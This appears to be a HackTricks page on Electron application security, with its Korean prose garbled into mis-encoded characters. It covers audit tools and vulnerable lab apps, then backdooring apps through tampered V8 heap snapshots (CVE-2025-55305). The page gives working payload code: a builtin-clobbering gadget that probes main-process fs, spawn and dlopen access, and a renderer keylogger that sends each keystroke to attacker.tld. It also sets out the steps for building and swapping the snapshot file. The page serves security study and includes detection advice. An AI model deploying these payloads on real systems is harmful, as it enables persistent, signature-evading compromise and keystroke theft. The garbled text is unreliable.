postMessage ์ ๋ขฐ ๋ฌธ์ ์ ๋ํ ๊ด๋ จ ์๋ฃ:
๋๊ตฌ
- Electronegativity ์ Electron ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ชป๋ ๊ตฌ์ฑ๊ณผ ๋ณด์ ์ํฐํจํด์ ์๋ณํ๋ ๋๊ตฌ์ ๋๋ค.
- Electrolint ์ Electronegativity๋ฅผ ์ฌ์ฉํ๋ Electron ์ ํ๋ฆฌ์ผ์ด์ ์ฉ ์คํ ์์ค VS Code ํ๋ฌ๊ทธ์ธ์ ๋๋ค.
- nodejsscan ์ ์ทจ์ฝํ ์๋ํํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ๊ฒํ๋ ๋๊ตฌ์ ๋๋ค.
- Electro.ng: ๊ตฌ๋งค๊ฐ ํ์ํฉ๋๋ค
์ค์ต
https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s ์์ ์ทจ์ฝํ Electron ์ฑ์ exploitํ๊ธฐ ์ํ ์ค์ต์ ์ฐพ์ ์ ์์ต๋๋ค.
์ค์ต์ ๋์์ด ๋๋ ๋ช ๊ฐ์ง ๋ช ๋ น:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
๋ก์ปฌ backdooring via V8 heap snapshot tampering (Electron/Chromium) โ CVE-2025-55305
Electron ๋ฐ Chromium ๊ธฐ๋ฐ ์ฑ์ ์์ ์ ๋ฏธ๋ฆฌ ๋น๋๋ V8 heap snapshot(v8_context_snapshot.bin, ์ ํ์ ์ผ๋ก browser_v8_context_snapshot.bin)์ deserializeํ์ฌ ๊ฐ V8 isolate(main, preload, renderer)๋ฅผ ์ด๊ธฐํํฉ๋๋ค. ์ญ์ฌ์ ์ผ๋ก Electron์ integrity fuses๋ ์ด๋ฌํ snapshots๋ฅผ ์คํ ๊ฐ๋ฅํ ์ฝํ ์ธ ๋ก ์ทจ๊ธํ์ง ์์๊ธฐ ๋๋ฌธ์ fuse ๊ธฐ๋ฐ ๋ฌด๊ฒฐ์ฑ ๊ฐ์ ์ OS ์ฝ๋ ์๋ช ๊ฒ์ฌ ๋ ๋ค๋ฅผ ํํผํ์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก, ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ค์น์์ snapshot์ ๊ต์ฒดํ๋ฉด ์๋ช ๋ ๋ฐ์ด๋๋ฆฌ๋ ASAR์ ์์ ํ์ง ์๊ณ ๋ ์ฑ ๋ด๋ถ์์ ์๋ฐํ๊ณ ์ง์์ ์ธ ์ฝ๋ ์คํ์ ํ๋ณดํ ์ ์์์ต๋๋ค.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ๋ฐ OnlyLoadAppFromAsar๋ ASAR ๋ด๋ถ์ ์ฑ JavaScript๋ฅผ ๊ฒ์ฆํ์ง๋ง V8 heap snapshots(CVE-2025-55305)๋ ํฌํจํ์ง ์์์ต๋๋ค. Chromium๋ ์ ์ฌํ๊ฒ snapshots์ ๋ํด ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๋ฅผ ํ์ง ์์ต๋๋ค.
- Attack preconditions: ์ฑ ์ค์น ๋๋ ํฐ๋ฆฌ์ ๋ํ ๋ก์ปฌ ํ์ผ ์ฐ๊ธฐ ๊ถํ. ์ด๋ Electron ์ฑ์ด๋ Chromium ๋ธ๋ผ์ฐ์ ๊ฐ ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅ ๊ฒฝ๋ก(์: Windows์ %AppData%\Local; macOS์์ ์ฃผ์๊ฐ ํ์ํ /Applications)์ ์ค์น๋ ์์คํ ์์ ํํฉ๋๋ค.
- Effect: ์์ฃผ ์ฌ์ฉ๋๋ builtin(์ผ๋ช โgadgetโ)์ ๋ฎ์ด์จ ์ด๋ค isolate์์๋ ๊ณต๊ฒฉ์ JavaScript๋ฅผ ์ ๋ขฐ์ฑ ์๊ฒ ์คํํ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด ์ง์์ฑ ๋ฐ ์ฝ๋ ์๋ช ๊ฒ์ฆ ํํผ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
- Affected surface: (fuses๊ฐ ํ์ฑํ๋์ด ์๋๋ผ๋) ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅ ์์น์์ snapshots๋ฅผ ๋ก๋ํ๋ Electron ์ฑ ๋ฐ Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ .
Generating a malicious snapshot without building Chromium
- prebuilt electron/mksnapshot์ ์ฌ์ฉํ์ฌ payload JS๋ฅผ snapshot์ผ๋ก ์ปดํ์ผํ ๋ค ์ ํ๋ฆฌ์ผ์ด์ ์ v8_context_snapshot.bin์ ๋ฎ์ด์๋๋ค.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applicationโs v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- ๋ฉ์ธ ํ๋ก์ธ์ค ๊ฐ์ง: Node-only globals(์: process.pid, process.binding(), process.dlopen)์ ๋ฉ์ธ ํ๋ก์ธ์ค isolate์ ์กด์ฌํฉ๋๋ค.
- Browser/renderer ๊ฐ์ง: ๋ฌธ์ ์ปจํ ์คํธ์์ ์คํ๋ ๋ alert ๊ฐ์ Browser-only globals๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์์ gadget: main-process์ Node ๊ธฐ๋ฅ์ ํ ๋ฒ ํ์งํฉ๋๋ค
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/browser-context ๋ฐ์ดํฐ ํ์ทจ PoC (์: Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
์ด์์ ์ํฌํ๋ก์ฐ
- payload.js๋ฅผ ์์ฑํ์ฌ ์ผ๋ฐ์ ์ธ builtin์ clobberํ๋๋ก ํ๊ณ (์: Array.isArray), ํ์ ์ isolate๋ณ ๋ถ๊ธฐ๋ฅผ ์ถ๊ฐํ๋ค.
- Chromium ์์ค ์์ด ์ค๋ ์ท์ ๋น๋:
- npx -y electron-mksnapshot@37.2.6 โ/abs/path/to/payload.jsโ
- ๋์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ค๋ ์ท ํ์ผ์ ๋ฎ์ด์ด๋ค:
- v8_context_snapshot.bin (ํญ์ ์ฌ์ฉ๋จ)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse๊ฐ ์ฌ์ฉ๋ ๊ฒฝ์ฐ)
- ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ๋ฉด ์ ํํ builtin์ด ์ฌ์ฉ๋ ๋๋ง๋ค gadget์ด ์คํ๋๋ค.
์ฃผ์ ๋ฐ ๊ณ ๋ ค์ฌํญ
- Integrity/signature bypass: Snapshot files๋ ์ฝ๋ ์๋ช ๊ฒ์ฌ์์ ๋ค์ดํฐ๋ธ ์คํ ํ์ผ๋ก ์ทจ๊ธ๋์ง ์์ผ๋ฉฐ(์ญ์ฌ์ ์ผ๋ก) Electronโs fuses๋ Chromium ๋ฌด๊ฒฐ์ฑ ์ ์ด์ ์ ์ฉ์ ๋ฐ์ง ์์๋ค.
- Persistence: ์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅ ์ค์น ์์น์ ์ค๋ ์ท์ ๊ต์ฒดํ๋ฉด ์ผ๋ฐ์ ์ผ๋ก ์ฑ ์ฌ์์์ ๊ฒฌ๋๋ฉฐ ์๋ช ๋ ์ ์ ์ฑ์ฒ๋ผ ๋ณด์ธ๋ค.
- Chromium browsers: ๋์ผํ ๋ณ์กฐ ๊ฐ๋ ์ user-writable ์์น์ ์ค์น๋ Chrome/ํ์ ๋ธ๋ผ์ฐ์ ์๋ ์ ์ฉ๋๋ค. Chrome์ ์ถ๊ฐ ๋ฌด๊ฒฐ์ฑ ์ํ์ฑ ์ ๊ฐ์ง๊ณ ์์ง๋ง, ์ํ ๋ชจ๋ธ์์ physically local attacks๋ฅผ ๋ช ์์ ์ผ๋ก ์ ์ธํ๋ค.
ํ์ง ๋ฐ ์ํ
- ์ค๋ ์ท์ ์คํ ๊ฐ๋ฅํ ์ฝํ ์ธ ๋ก ๊ฐ์ฃผํ๊ณ ๋ฌด๊ฒฐ์ฑ ๊ฐ์ ์ ํฌํจ์ํจ๋ค (CVE-2025-55305 fix).
- ๊ด๋ฆฌ์ ์ ์ฉ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ค์น ์์น๋ฅผ ์ฐ์ ์ฌ์ฉํ๊ณ ; v8_context_snapshot.bin ๋ฐ browser_v8_context_snapshot.bin์ ํด์๋ฅผ ๊ธฐ์ค์ ์ผ๋ก ์ค์ ํ์ฌ ๋ชจ๋ํฐ๋งํ๋ค.
- early-runtime builtin clobbering ๋ฐ ์๊ธฐ์น ์์ ์ค๋ ์ท ๋ณ๊ฒฝ์ ํ์งํ๊ณ ; ์ญ์ง๋ ฌํ๋ ์ค๋ ์ท์ด ์์ ๊ฐ๊ณผ ์ผ์นํ์ง ์์ ๋ ๊ฒฝ๊ณ ํ๋ค.
์ฐธ๊ณ ์๋ฃ
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyxโzq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


